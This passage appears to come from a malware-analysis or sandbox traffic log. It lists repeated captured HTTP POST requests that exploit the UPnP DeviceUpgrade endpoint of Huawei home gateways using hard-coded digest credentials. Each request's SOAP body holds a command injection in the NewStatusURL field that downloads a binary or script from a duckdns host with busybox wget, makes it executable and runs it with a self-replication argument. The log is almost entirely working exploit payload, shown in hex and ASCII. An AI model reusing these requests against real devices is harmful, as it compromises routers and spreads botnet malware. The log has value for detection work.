/tmp/ascaris;/tmp/ascaris huawei.selfrep;rm -rf /tmp/ascaris)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 3b 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(busybox wget -g amkbins.duckdns.org -l /tmp/ascaris -r /bins/ascaris.mips;chmod 777 /tmp/ascaris;/tmp/ascaris huawei.selfrep;rm -rf /tmp/ascaris)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 3b 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(busybox wget -g amkbins.duckdns.org -l /tmp/ascaris -r /bins/ascaris.mips;chmod 777 /tmp/ascaris;/tmp/ascaris huawei.selfrep;rm -rf /tmp/ascaris)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 452Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 2e 61 6d 6b 20 2d 72 20 2f 68 75 61 77 65 69 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 61 6d 6b 3b 20 73 68 20 2f 74 6d 70 2f 2e 61 6d 6b 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/.amk -r /huawei; /bin/busybox chmod 777 /tmp/.amk; sh /tmp/.amk)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 3b 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(busybox wget -g amkbins.duckdns.org -l /tmp/ascaris -r /bins/ascaris.mips;chmod 777 /tmp/ascaris;/tmp/ascaris huawei.selfrep;rm -rf /tmp/ascaris)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 3b 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(busybox wget -g amkbins.duckdns.org -l /tmp/ascaris -r /bins/ascaris.mips;chmod 777 /tmp/ascaris;/tmp/ascaris huawei.selfrep;rm -rf /tmp/ascaris)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 452Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 2e 61 6d 6b 20 2d 72 20 2f 68 75 61 77 65 69 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 61 6d 6b 3b 20 73 68 20 2f 74 6d 70 2f 2e 61 6d 6b 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/.amk -r /huawei; /bin/busybox chmod 777 /tmp/.amk; sh /tmp/.amk)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 452Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 2e 61 6d 6b 20 2d 72 20 2f 68 75 61 77 65 69 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 61 6d 6b 3b 20 73 68 20 2f 74 6d 70 2f 2e 61 6d 6b 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/.amk -r /huawei; /bin/busybox chmod 777 /tmp/.amk; sh /tmp/.amk)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 452Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 2e 61 6d 6b 20 2d 72 20 2f 68 75 61 77 65 69 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 61 6d 6b 3b 20 73 68 20 2f 74 6d 70 2f 2e 61 6d 6b 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/.amk -r /huawei; /bin/busybox chmod 777 /tmp/.amk; sh /tmp/.amk)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
